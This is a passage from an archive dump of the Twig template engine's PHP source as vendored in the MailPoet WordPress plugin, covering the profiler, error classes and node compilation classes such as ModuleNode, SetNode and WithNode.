($this->isRoot() && $this->profiles) { $duration = 0; foreach ($this->profiles as $profile) { $duration += $profile->getDuration(); } return $duration; } return isset($this->ends['wt']) && isset($this->starts['wt']) ? $this->ends['wt'] - $this->starts['wt'] : 0; } public function getMemoryUsage() { return isset($this->ends['mu']) && isset($this->starts['mu']) ? $this->ends['mu'] - $this->starts['mu'] : 0; } public function getPeakMemoryUsage() { return isset($this->ends['pmu']) && isset($this->starts['pmu']) ? $this->ends['pmu'] - $this->starts['pmu'] : 0; } public function enter() { $this->starts = ['wt' => \microtime(\true), 'mu' => \memory_get_usage(), 'pmu' => \memory_get_peak_usage()]; } public function leave() { $this->ends = ['wt' => \microtime(\true), 'mu' => \memory_get_usage(), 'pmu' => \memory_get_peak_usage()]; } public function reset() { $this->starts = $this->ends = $this->profiles = []; $this->enter(); } public function getIterator() { return new \ArrayIterator($this->profiles); } public function serialize() { return \serialize($this->__serialize()); } public function unserialize($data) { $this->__unserialize(\unserialize($data)); } public function __serialize() { return [$this->template, $this->name, $this->type, $this->starts, $this->ends, $this->profiles]; } public function __unserialize(array $data) { list($this->template, $this->name, $this->type, $this->starts, $this->ends, $this->profiles) = $data; } } \class_alias('MailPoetVendor\\Twig\\Profiler\\Profile', 'MailPoetVendor\\Twig_Profiler_Profile'); twig/src/Profiler/index.php 0000666 00000000000 15035120623 0011676 0 ustar 00 twig/src/Error/RuntimeError.php 0000666 00000000354 15035120623 0012547 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Error; if (!defined('ABSPATH')) exit; class RuntimeError extends \MailPoetVendor\Twig\Error\Error { } \class_alias('MailPoetVendor\\Twig\\Error\\RuntimeError', 'MailPoetVendor\\Twig_Error_Runtime'); twig/src/Error/index.php 0000666 00000000000 15035120623 0011205 0 ustar 00 twig/src/Error/SyntaxError.php 0000666 00000001167 15035120623 0012415 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Error; if (!defined('ABSPATH')) exit; class SyntaxError extends \MailPoetVendor\Twig\Error\Error { public function addSuggestions($name, array $items) { $alternatives = []; foreach ($items as $item) { $lev = \levenshtein($name, $item); if ($lev <= \strlen($name) / 3 || \false !== \strpos($item, $name)) { $alternatives[$item] = $lev; } } if (!$alternatives) { return; } \asort($alternatives); $this->appendMessage(\sprintf(' Did you mean "%s"?', \implode('", "', \array_keys($alternatives)))); } } \class_alias('MailPoetVendor\\Twig\\Error\\SyntaxError', 'MailPoetVendor\\Twig_Error_Syntax'); twig/src/Error/Error.php 0000666 00000010401 15035120623 0011175 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Error; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Source; use MailPoetVendor\Twig\Template; class Error extends \Exception { private $lineno; private $name; private $rawMessage; private $sourcePath; private $sourceCode; public function __construct(string $message, int $lineno = -1, $source = null, \Exception $previous = null) { parent::__construct('', 0, $previous); if (null === $source) { $name = null; } elseif (!$source instanceof \MailPoetVendor\Twig\Source && !$source instanceof \MailPoetVendor\Twig_Source) { @\trigger_error(\sprintf('Passing a string as a source to %s is deprecated since Twig 2.6.1; pass a Twig\\Source instance instead.', __CLASS__), \E_USER_DEPRECATED); $name = $source; } else { $name = $source->getName(); $this->sourceCode = $source->getCode(); $this->sourcePath = $source->getPath(); } $this->lineno = $lineno; $this->name = $name; $this->rawMessage = $message; $this->updateRepr(); } public function getRawMessage() { return $this->rawMessage; } public function getTemplateLine() { return $this->lineno; } public function setTemplateLine($lineno) { $this->lineno = $lineno; $this->updateRepr(); } public function getSourceContext() { return $this->name ? new \MailPoetVendor\Twig\Source($this->sourceCode, $this->name, $this->sourcePath) : null; } public function setSourceContext(\MailPoetVendor\Twig\Source $source = null) { if (null === $source) { $this->sourceCode = $this->name = $this->sourcePath = null; } else { $this->sourceCode = $source->getCode(); $this->name = $source->getName(); $this->sourcePath = $source->getPath(); } $this->updateRepr(); } public function guess() { $this->guessTemplateInfo(); $this->updateRepr(); } public function appendMessage($rawMessage) { $this->rawMessage .= $rawMessage; $this->updateRepr(); } private function updateRepr() { $this->message = $this->rawMessage; if ($this->sourcePath && $this->lineno > 0) { $this->file = $this->sourcePath; $this->line = $this->lineno; return; } $dot = \false; if ('.' === \substr($this->message, -1)) { $this->message = \substr($this->message, 0, -1); $dot = \true; } $questionMark = \false; if ('?' === \substr($this->message, -1)) { $this->message = \substr($this->message, 0, -1); $questionMark = \true; } if ($this->name) { if (\is_string($this->name) || \is_object($this->name) && \method_exists($this->name, '__toString')) { $name = \sprintf('"%s"', $this->name); } else { $name = \json_encode($this->name); } $this->message .= \sprintf(' in %s', $name); } if ($this->lineno && $this->lineno >= 0) { $this->message .= \sprintf(' at line %d', $this->lineno); } if ($dot) { $this->message .= '.'; } if ($questionMark) { $this->message .= '?'; } } private function guessTemplateInfo() { $template = null; $templateClass = null; $backtrace = \debug_backtrace(\DEBUG_BACKTRACE_IGNORE_ARGS | \DEBUG_BACKTRACE_PROVIDE_OBJECT); foreach ($backtrace as $trace) { if (isset($trace['object']) && $trace['object'] instanceof \MailPoetVendor\Twig\Template && 'Twig_Template' !== \get_class($trace['object'])) { $currentClass = \get_class($trace['object']); $isEmbedContainer = 0 === \strpos($templateClass, $currentClass); if (null === $this->name || $this->name == $trace['object']->getTemplateName() && !$isEmbedContainer) { $template = $trace['object']; $templateClass = \get_class($trace['object']); } } } if (null !== $template && null === $this->name) { $this->name = $template->getTemplateName(); } if (null !== $template && null === $this->sourcePath) { $src = $template->getSourceContext(); $this->sourceCode = $src->getCode(); $this->sourcePath = $src->getPath(); } if (null === $template || $this->lineno > -1) { return; } $r = new \ReflectionObject($template); $file = $r->getFileName(); $exceptions = [$e = $this]; while ($e = $e->getPrevious()) { $exceptions[] = $e; } while ($e = \array_pop($exceptions)) { $traces = $e->getTrace(); \array_unshift($traces, ['file' => $e->getFile(), 'line' => $e->getLine()]); while ($trace = \array_shift($traces)) { if (!isset($trace['file']) || !isset($trace['line']) || $file != $trace['file']) { continue; } foreach ($template->getDebugInfo() as $codeLine => $templateLine) { if ($codeLine <= $trace['line']) { $this->lineno = $templateLine; return; } } } } } } \class_alias('MailPoetVendor\\Twig\\Error\\Error', 'MailPoetVendor\\Twig_Error'); twig/src/Error/LoaderError.php 0000666 00000000351 15035120623 0012327 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Error; if (!defined('ABSPATH')) exit; class LoaderError extends \MailPoetVendor\Twig\Error\Error { } \class_alias('MailPoetVendor\\Twig\\Error\\LoaderError', 'MailPoetVendor\\Twig_Error_Loader'); twig/src/Node/SandboxedPrintNode.php 0000666 00000001452 15035120623 0013440 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\ConstantExpression; class SandboxedPrintNode extends \MailPoetVendor\Twig\Node\PrintNode { public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->addDebugInfo($this)->write('echo '); $expr = $this->getNode('expr'); if ($expr instanceof \MailPoetVendor\Twig\Node\Expression\ConstantExpression) { $compiler->subcompile($expr)->raw(";\n"); } else { $compiler->write('$this->extensions[SandboxExtension::class]->ensureToStringAllowed(')->subcompile($expr)->raw(', ')->repr($expr->getTemplateLine())->raw(", \$this->source);\n"); } } } \class_alias('MailPoetVendor\\Twig\\Node\\SandboxedPrintNode', 'MailPoetVendor\\Twig_Node_SandboxedPrint'); twig/src/Node/Node.php 0000666 00000007200 15035120623 0010570 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Source; class Node implements \Countable, \IteratorAggregate { protected $nodes; protected $attributes; protected $lineno; protected $tag; private $name; private $sourceContext; public function __construct(array $nodes = [], array $attributes = [], int $lineno = 0, string $tag = null) { foreach ($nodes as $name => $node) { if (!$node instanceof self) { throw new \InvalidArgumentException(\sprintf('Using "%s" for the value of node "%s" of "%s" is not supported. You must pass a \\Twig\\Node\\Node instance.', \is_object($node) ? \get_class($node) : (null === $node ? 'null' : \gettype($node)), $name, \get_class($this))); } } $this->nodes = $nodes; $this->attributes = $attributes; $this->lineno = $lineno; $this->tag = $tag; } public function __toString() { $attributes = []; foreach ($this->attributes as $name => $value) { $attributes[] = \sprintf('%s: %s', $name, \str_replace("\n", '', \var_export($value, \true))); } $repr = [\get_class($this) . '(' . \implode(', ', $attributes)]; if (\count($this->nodes)) { foreach ($this->nodes as $name => $node) { $len = \strlen($name) + 4; $noderepr = []; foreach (\explode("\n", (string) $node) as $line) { $noderepr[] = \str_repeat(' ', $len) . $line; } $repr[] = \sprintf(' %s: %s', $name, \ltrim(\implode("\n", $noderepr))); } $repr[] = ')'; } else { $repr[0] .= ')'; } return \implode("\n", $repr); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { foreach ($this->nodes as $node) { $node->compile($compiler); } } public function getTemplateLine() { return $this->lineno; } public function getNodeTag() { return $this->tag; } public function hasAttribute($name) { return \array_key_exists($name, $this->attributes); } public function getAttribute($name) { if (!\array_key_exists($name, $this->attributes)) { throw new \LogicException(\sprintf('Attribute "%s" does not exist for Node "%s".', $name, \get_class($this))); } return $this->attributes[$name]; } public function setAttribute($name, $value) { $this->attributes[$name] = $value; } public function removeAttribute($name) { unset($this->attributes[$name]); } public function hasNode($name) { return isset($this->nodes[$name]); } public function getNode($name) { if (!isset($this->nodes[$name])) { throw new \LogicException(\sprintf('Node "%s" does not exist for Node "%s".', $name, \get_class($this))); } return $this->nodes[$name]; } public function setNode($name, self $node) { $this->nodes[$name] = $node; } public function removeNode($name) { unset($this->nodes[$name]); } public function count() { return \count($this->nodes); } public function getIterator() { return new \ArrayIterator($this->nodes); } public function setTemplateName($name) { $triggerDeprecation = 2 > \func_num_args() || \func_get_arg(1); if ($triggerDeprecation) { @\trigger_error('The ' . __METHOD__ . ' method is deprecated since version 2.8 and will be removed in 3.0. Use setSourceContext() instead.', \E_USER_DEPRECATED); } $this->name = $name; foreach ($this->nodes as $node) { $node->setTemplateName($name, $triggerDeprecation); } } public function getTemplateName() { return $this->sourceContext ? $this->sourceContext->getName() : null; } public function setSourceContext(\MailPoetVendor\Twig\Source $source) { $this->sourceContext = $source; foreach ($this->nodes as $node) { $node->setSourceContext($source); } $this->setTemplateName($source->getName(), \false); } public function getSourceContext() { return $this->sourceContext; } } \class_alias('MailPoetVendor\\Twig\\Node\\Node', 'MailPoetVendor\\Twig_Node'); \class_exists('MailPoetVendor\\Twig\\Compiler'); twig/src/Node/BlockNode.php 0000666 00000001423 15035120623 0011544 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class BlockNode extends \MailPoetVendor\Twig\Node\Node { public function __construct(string $name, \MailPoetVendor\Twig\Node\Node $body, int $lineno, string $tag = null) { parent::__construct(['body' => $body], ['name' => $name], $lineno, $tag); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->addDebugInfo($this)->write(\sprintf("public function block_%s(\$context, array \$blocks = [])\n", $this->getAttribute('name')), "{\n")->indent()->write("\$macros = \$this->macros;\n"); $compiler->subcompile($this->getNode('body'))->outdent()->write("}\n\n"); } } \class_alias('MailPoetVendor\\Twig\\Node\\BlockNode', 'MailPoetVendor\\Twig_Node_Block'); twig/src/Node/SetNode.php 0000666 00000004416 15035120623 0011252 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\ConstantExpression; class SetNode extends \MailPoetVendor\Twig\Node\Node implements \MailPoetVendor\Twig\Node\NodeCaptureInterface { public function __construct(bool $capture, \MailPoetVendor\Twig\Node\Node $names, \MailPoetVendor\Twig\Node\Node $values, int $lineno, string $tag = null) { parent::__construct(['names' => $names, 'values' => $values], ['capture' => $capture, 'safe' => \false], $lineno, $tag); if ($this->getAttribute('capture')) { $this->setAttribute('safe', \true); $values = $this->getNode('values'); if ($values instanceof \MailPoetVendor\Twig\Node\TextNode) { $this->setNode('values', new \MailPoetVendor\Twig\Node\Expression\ConstantExpression($values->getAttribute('data'), $values->getTemplateLine())); $this->setAttribute('capture', \false); } } } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->addDebugInfo($this); if (\count($this->getNode('names')) > 1) { $compiler->write('list('); foreach ($this->getNode('names') as $idx => $node) { if ($idx) { $compiler->raw(', '); } $compiler->subcompile($node); } $compiler->raw(')'); } else { if ($this->getAttribute('capture')) { if ($compiler->getEnvironment()->isDebug()) { $compiler->write("ob_start();\n"); } else { $compiler->write("ob_start(function () { return ''; });\n"); } $compiler->subcompile($this->getNode('values')); } $compiler->subcompile($this->getNode('names'), \false); if ($this->getAttribute('capture')) { $compiler->raw(" = ('' === \$tmp = ob_get_clean()) ? '' : new Markup(\$tmp, \$this->env->getCharset())"); } } if (!$this->getAttribute('capture')) { $compiler->raw(' = '); if (\count($this->getNode('names')) > 1) { $compiler->write('['); foreach ($this->getNode('values') as $idx => $value) { if ($idx) { $compiler->raw(', '); } $compiler->subcompile($value); } $compiler->raw(']'); } else { if ($this->getAttribute('safe')) { $compiler->raw("('' === \$tmp = ")->subcompile($this->getNode('values'))->raw(") ? '' : new Markup(\$tmp, \$this->env->getCharset())"); } else { $compiler->subcompile($this->getNode('values')); } } } $compiler->raw(";\n"); } } \class_alias('MailPoetVendor\\Twig\\Node\\SetNode', 'MailPoetVendor\\Twig_Node_Set'); twig/src/Node/TextNode.php 0000666 00000001115 15035120623 0011434 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class TextNode extends \MailPoetVendor\Twig\Node\Node implements \MailPoetVendor\Twig\Node\NodeOutputInterface { public function __construct(string $data, int $lineno) { parent::__construct([], ['data' => $data], $lineno); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->addDebugInfo($this)->write('echo ')->string($this->getAttribute('data'))->raw(";\n"); } } \class_alias('MailPoetVendor\\Twig\\Node\\TextNode', 'MailPoetVendor\\Twig_Node_Text'); twig/src/Node/DoNode.php 0000666 00000001217 15035120623 0011055 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\AbstractExpression; class DoNode extends \MailPoetVendor\Twig\Node\Node { public function __construct(\MailPoetVendor\Twig\Node\Expression\AbstractExpression $expr, int $lineno, string $tag = null) { parent::__construct(['expr' => $expr], [], $lineno, $tag); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->addDebugInfo($this)->write('')->subcompile($this->getNode('expr'))->raw(";\n"); } } \class_alias('MailPoetVendor\\Twig\\Node\\DoNode', 'MailPoetVendor\\Twig_Node_Do'); twig/src/Node/NodeOutputInterface.php 0000666 00000000331 15035120623 0013630 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; interface NodeOutputInterface { } \class_alias('MailPoetVendor\\Twig\\Node\\NodeOutputInterface', 'MailPoetVendor\\Twig_NodeOutputInterface'); twig/src/Node/ModuleNode.php 0000666 00000024225 15035120623 0011744 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\AbstractExpression; use MailPoetVendor\Twig\Node\Expression\ConstantExpression; use MailPoetVendor\Twig\Source; class ModuleNode extends \MailPoetVendor\Twig\Node\Node { public function __construct(\MailPoetVendor\Twig\Node\Node $body, \MailPoetVendor\Twig\Node\Expression\AbstractExpression $parent = null, \MailPoetVendor\Twig\Node\Node $blocks, \MailPoetVendor\Twig\Node\Node $macros, \MailPoetVendor\Twig\Node\Node $traits, $embeddedTemplates, \MailPoetVendor\Twig\Source $source) { if (__CLASS__ !== \get_class($this)) { @\trigger_error('Overriding ' . __CLASS__ . ' is deprecated since Twig 2.4.0 and the class will be final in 3.0.', \E_USER_DEPRECATED); } $nodes = ['body' => $body, 'blocks' => $blocks, 'macros' => $macros, 'traits' => $traits, 'display_start' => new \MailPoetVendor\Twig\Node\Node(), 'display_end' => new \MailPoetVendor\Twig\Node\Node(), 'constructor_start' => new \MailPoetVendor\Twig\Node\Node(), 'constructor_end' => new \MailPoetVendor\Twig\Node\Node(), 'class_end' => new \MailPoetVendor\Twig\Node\Node()]; if (null !== $parent) { $nodes['parent'] = $parent; } parent::__construct($nodes, ['index' => null, 'embedded_templates' => $embeddedTemplates], 1); $this->setSourceContext($source); } public function setIndex($index) { $this->setAttribute('index', $index); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $this->compileTemplate($compiler); foreach ($this->getAttribute('embedded_templates') as $template) { $compiler->subcompile($template); } } protected function compileTemplate(\MailPoetVendor\Twig\Compiler $compiler) { if (!$this->getAttribute('index')) { $compiler->write('<?php'); } $this->compileClassHeader($compiler); $this->compileConstructor($compiler); $this->compileGetParent($compiler); $this->compileDisplay($compiler); $compiler->subcompile($this->getNode('blocks')); $this->compileMacros($compiler); $this->compileGetTemplateName($compiler); $this->compileIsTraitable($compiler); $this->compileDebugInfo($compiler); $this->compileGetSourceContext($compiler); $this->compileClassFooter($compiler); } protected function compileGetParent(\MailPoetVendor\Twig\Compiler $compiler) { if (!$this->hasNode('parent')) { return; } $parent = $this->getNode('parent'); $compiler->write("protected function doGetParent(array \$context)\n", "{\n")->indent()->addDebugInfo($parent)->write('return '); if ($parent instanceof \MailPoetVendor\Twig\Node\Expression\ConstantExpression) { $compiler->subcompile($parent); } else { $compiler->raw('$this->loadTemplate(')->subcompile($parent)->raw(', ')->repr($this->getSourceContext()->getName())->raw(', ')->repr($parent->getTemplateLine())->raw(')'); } $compiler->raw(";\n")->outdent()->write("}\n\n"); } protected function compileClassHeader(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->write("\n\n"); if (!$this->getAttribute('index')) { $compiler->write("use MailPoetVendor\\Twig\\Environment;\n")->write("use MailPoetVendor\\Twig\\Error\\LoaderError;\n")->write("use MailPoetVendor\\Twig\\Error\\RuntimeError;\n")->write("use MailPoetVendor\\Twig\\Extension\\SandboxExtension;\n")->write("use MailPoetVendor\\Twig\\Markup;\n")->write("use MailPoetVendor\\Twig\\Sandbox\\SecurityError;\n")->write("use MailPoetVendor\\Twig\\Sandbox\\SecurityNotAllowedTagError;\n")->write("use MailPoetVendor\\Twig\\Sandbox\\SecurityNotAllowedFilterError;\n")->write("use MailPoetVendor\\Twig\\Sandbox\\SecurityNotAllowedFunctionError;\n")->write("use MailPoetVendor\\Twig\\Source;\n")->write("use MailPoetVendor\\Twig\\Template;\n\n"); } $compiler->write('/* ' . \str_replace('*/', '* /', $this->getSourceContext()->getName()) . " */\n")->write('class ' . $compiler->getEnvironment()->getTemplateClass($this->getSourceContext()->getName(), $this->getAttribute('index')))->raw(\sprintf(" extends %s\n", $compiler->getEnvironment()->getBaseTemplateClass(\false)))->write("{\n")->indent()->write("private \$source;\n")->write("private \$macros = [];\n\n"); } protected function compileConstructor(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->write("public function __construct(Environment \$env)\n", "{\n")->indent()->subcompile($this->getNode('constructor_start'))->write("parent::__construct(\$env);\n\n")->write("\$this->source = \$this->getSourceContext();\n\n"); if (!$this->hasNode('parent')) { $compiler->write("\$this->parent = false;\n\n"); } $countTraits = \count($this->getNode('traits')); if ($countTraits) { foreach ($this->getNode('traits') as $i => $trait) { $node = $trait->getNode('template'); $compiler->addDebugInfo($node)->write(\sprintf('$_trait_%s = $this->loadTemplate(', $i))->subcompile($node)->raw(', ')->repr($node->getTemplateName())->raw(', ')->repr($node->getTemplateLine())->raw(");\n")->write(\sprintf("if (!\$_trait_%s->isTraitable()) {\n", $i))->indent()->write("throw new RuntimeError('Template \"'.")->subcompile($trait->getNode('template'))->raw(".'\" cannot be used as a trait.', ")->repr($node->getTemplateLine())->raw(", \$this->source);\n")->outdent()->write("}\n")->write(\sprintf("\$_trait_%s_blocks = \$_trait_%s->getBlocks();\n\n", $i, $i)); foreach ($trait->getNode('targets') as $key => $value) { $compiler->write(\sprintf('if (!isset($_trait_%s_blocks[', $i))->string($key)->raw("])) {\n")->indent()->write("throw new RuntimeError('Block ")->string($key)->raw(' is not defined in trait ')->subcompile($trait->getNode('template'))->raw(".', ")->repr($node->getTemplateLine())->raw(", \$this->source);\n")->outdent()->write("}\n\n")->write(\sprintf('$_trait_%s_blocks[', $i))->subcompile($value)->raw(\sprintf('] = $_trait_%s_blocks[', $i))->string($key)->raw(\sprintf(']; unset($_trait_%s_blocks[', $i))->string($key)->raw("]);\n\n"); } } if ($countTraits > 1) { $compiler->write("\$this->traits = array_merge(\n")->indent(); for ($i = 0; $i < $countTraits; ++$i) { $compiler->write(\sprintf('$_trait_%s_blocks' . ($i == $countTraits - 1 ? '' : ',') . "\n", $i)); } $compiler->outdent()->write(");\n\n"); } else { $compiler->write("\$this->traits = \$_trait_0_blocks;\n\n"); } $compiler->write("\$this->blocks = array_merge(\n")->indent()->write("\$this->traits,\n")->write("[\n"); } else { $compiler->write("\$this->blocks = [\n"); } $compiler->indent(); foreach ($this->getNode('blocks') as $name => $node) { $compiler->write(\sprintf("'%s' => [\$this, 'block_%s'],\n", $name, $name)); } if ($countTraits) { $compiler->outdent()->write("]\n")->outdent()->write(");\n"); } else { $compiler->outdent()->write("];\n"); } $compiler->subcompile($this->getNode('constructor_end'))->outdent()->write("}\n\n"); } protected function compileDisplay(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->write("protected function doDisplay(array \$context, array \$blocks = [])\n", "{\n")->indent()->write("\$macros = \$this->macros;\n")->subcompile($this->getNode('display_start'))->subcompile($this->getNode('body')); if ($this->hasNode('parent')) { $parent = $this->getNode('parent'); $compiler->addDebugInfo($parent); if ($parent instanceof \MailPoetVendor\Twig\Node\Expression\ConstantExpression) { $compiler->write('$this->parent = $this->loadTemplate(')->subcompile($parent)->raw(', ')->repr($this->getSourceContext()->getName())->raw(', ')->repr($parent->getTemplateLine())->raw(");\n"); $compiler->write('$this->parent'); } else { $compiler->write('$this->getParent($context)'); } $compiler->raw("->display(\$context, array_merge(\$this->blocks, \$blocks));\n"); } $compiler->subcompile($this->getNode('display_end'))->outdent()->write("}\n\n"); } protected function compileClassFooter(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->subcompile($this->getNode('class_end'))->outdent()->write("}\n"); } protected function compileMacros(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->subcompile($this->getNode('macros')); } protected function compileGetTemplateName(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->write("public function getTemplateName()\n", "{\n")->indent()->write('return ')->repr($this->getSourceContext()->getName())->raw(";\n")->outdent()->write("}\n\n"); } protected function compileIsTraitable(\MailPoetVendor\Twig\Compiler $compiler) { $traitable = !$this->hasNode('parent') && 0 === \count($this->getNode('macros')); if ($traitable) { if ($this->getNode('body') instanceof \MailPoetVendor\Twig\Node\BodyNode) { $nodes = $this->getNode('body')->getNode(0); } else { $nodes = $this->getNode('body'); } if (!\count($nodes)) { $nodes = new \MailPoetVendor\Twig\Node\Node([$nodes]); } foreach ($nodes as $node) { if (!\count($node)) { continue; } if ($node instanceof \MailPoetVendor\Twig\Node\TextNode && \ctype_space($node->getAttribute('data'))) { continue; } if ($node instanceof \MailPoetVendor\Twig\Node\BlockReferenceNode) { continue; } $traitable = \false; break; } } if ($traitable) { return; } $compiler->write("public function isTraitable()\n", "{\n")->indent()->write(\sprintf("return %s;\n", $traitable ? 'true' : 'false'))->outdent()->write("}\n\n"); } protected function compileDebugInfo(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->write("public function getDebugInfo()\n", "{\n")->indent()->write(\sprintf("return %s;\n", \str_replace("\n", '', \var_export(\array_reverse($compiler->getDebugInfo(), \true), \true))))->outdent()->write("}\n\n"); } protected function compileGetSourceContext(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->write("public function getSourceContext()\n", "{\n")->indent()->write('return new Source(')->string($compiler->getEnvironment()->isDebug() ? $this->getSourceContext()->getCode() : '')->raw(', ')->string($this->getSourceContext()->getName())->raw(', ')->string($this->getSourceContext()->getPath())->raw(");\n")->outdent()->write("}\n"); } protected function compileLoadTemplate(\MailPoetVendor\Twig\Compiler $compiler, $node, $var) { if ($node instanceof \MailPoetVendor\Twig\Node\Expression\ConstantExpression) { $compiler->write(\sprintf('%s = $this->loadTemplate(', $var))->subcompile($node)->raw(', ')->repr($node->getTemplateName())->raw(', ')->repr($node->getTemplateLine())->raw(");\n"); } else { throw new \LogicException('Trait templates can only be constant nodes.'); } } } \class_alias('MailPoetVendor\\Twig\\Node\\ModuleNode', 'MailPoetVendor\\Twig_Node_Module'); twig/src/Node/PrintNode.php 0000666 00000001326 15035120623 0011610 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\AbstractExpression; class PrintNode extends \MailPoetVendor\Twig\Node\Node implements \MailPoetVendor\Twig\Node\NodeOutputInterface { public function __construct(\MailPoetVendor\Twig\Node\Expression\AbstractExpression $expr, int $lineno, string $tag = null) { parent::__construct(['expr' => $expr], [], $lineno, $tag); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->addDebugInfo($this)->write('echo ')->subcompile($this->getNode('expr'))->raw(";\n"); } } \class_alias('MailPoetVendor\\Twig\\Node\\PrintNode', 'MailPoetVendor\\Twig_Node_Print'); twig/src/Node/NodeCaptureInterface.php 0000666 00000000334 15035120623 0013736 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; interface NodeCaptureInterface { } \class_alias('MailPoetVendor\\Twig\\Node\\NodeCaptureInterface', 'MailPoetVendor\\Twig_NodeCaptureInterface'); twig/src/Node/WithNode.php 0000666 00000003156 15035120623 0011432 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class WithNode extends \MailPoetVendor\Twig\Node\Node { public function __construct(\MailPoetVendor\Twig\Node\Node $body, \MailPoetVendor\Twig\Node\Node $variables = null, bool $only = \false, int $lineno, string $tag = null) { $nodes = ['body' => $body]; if (null !== $variables) { $nodes['variables'] = $variables; } parent::__construct($nodes, ['only' => $only], $lineno, $tag); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->addDebugInfo($this); if ($this->hasNode('variables')) { $node = $this->getNode('variables'); $varsName = $compiler->getVarName(); $compiler->write(\sprintf('$%s = ', $varsName))->subcompile($node)->raw(";\n")->write(\sprintf("if (!twig_test_iterable(\$%s)) {\n", $varsName))->indent()->write("throw new RuntimeError('Variables passed to the \"with\" tag must be a hash.', ")->repr($node->getTemplateLine())->raw(", \$this->getSourceContext());\n")->outdent()->write("}\n")->write(\sprintf("\$%s = twig_to_array(\$%s);\n", $varsName, $varsName)); if ($this->getAttribute('only')) { $compiler->write("\$context = ['_parent' => \$context];\n"); } else { $compiler->write("\$context['_parent'] = \$context;\n"); } $compiler->write(\sprintf("\$context = \$this->env->mergeGlobals(array_merge(\$context, \$%s));\n", $varsName)); } else { $compiler->write("\$context['_parent'] = \$context;\n"); } $compiler->subcompile($this->getNode('body'))->write("\$context = \$context['_parent'];\n"); } } \class_alias('MailPoetVendor\\Twig\\Node\\WithNode', 'MailPoetVendor\\Twig_Node_With'); twig/src/Node/DeprecatedNode.php 0000666 00000002221 15035120623 0012547 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\AbstractExpression; use MailPoetVendor\Twig\Node\Expression\ConstantExpression; class DeprecatedNode extends \MailPoetVendor\Twig\Node\Node { public function __construct(\MailPoetVendor\Twig\Node\Expression\AbstractExpression $expr, int $lineno, string $tag = null) { parent::__construct(['expr' => $expr], [], $lineno, $tag); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->addDebugInfo($this); $expr = $this->getNode('expr'); if ($expr instanceof \MailPoetVendor\Twig\Node\Expression\ConstantExpression) { $compiler->write('@trigger_error(')->subcompile($expr); } else { $varName = $compiler->getVarName(); $compiler->write(\sprintf('$%s = ', $varName))->subcompile($expr)->raw(";\n")->write(\sprintf('@trigger_error($%s', $varName)); } $compiler->raw('.')->string(\sprintf(' ("%s" at line %d).', $this->getTemplateName(), $this->getTemplateLine()))->raw(", E_USER_DEPRECATED);\n"); } } \class_alias('MailPoetVendor\\Twig\\Node\\DeprecatedNode', 'MailPoetVendor\\Twig_Node_Deprecated'); twig/src/Node/FlushNode.php 0000666 00000000741 15035120623 0011575 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class FlushNode extends \MailPoetVendor\Twig\Node\Node { public function __construct(int $lineno, string $tag) { parent::__construct([], [], $lineno, $tag); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->addDebugInfo($this)->write("flush();\n"); } } \class_alias('MailPoetVendor\\Twig\\Node\\FlushNode', 'MailPoetVendor\\Twig_Node_Flush'); twig/src/Node/IfNode.php 0000666 00000002107 15035120623 0011050 0 ustar 00 <?php
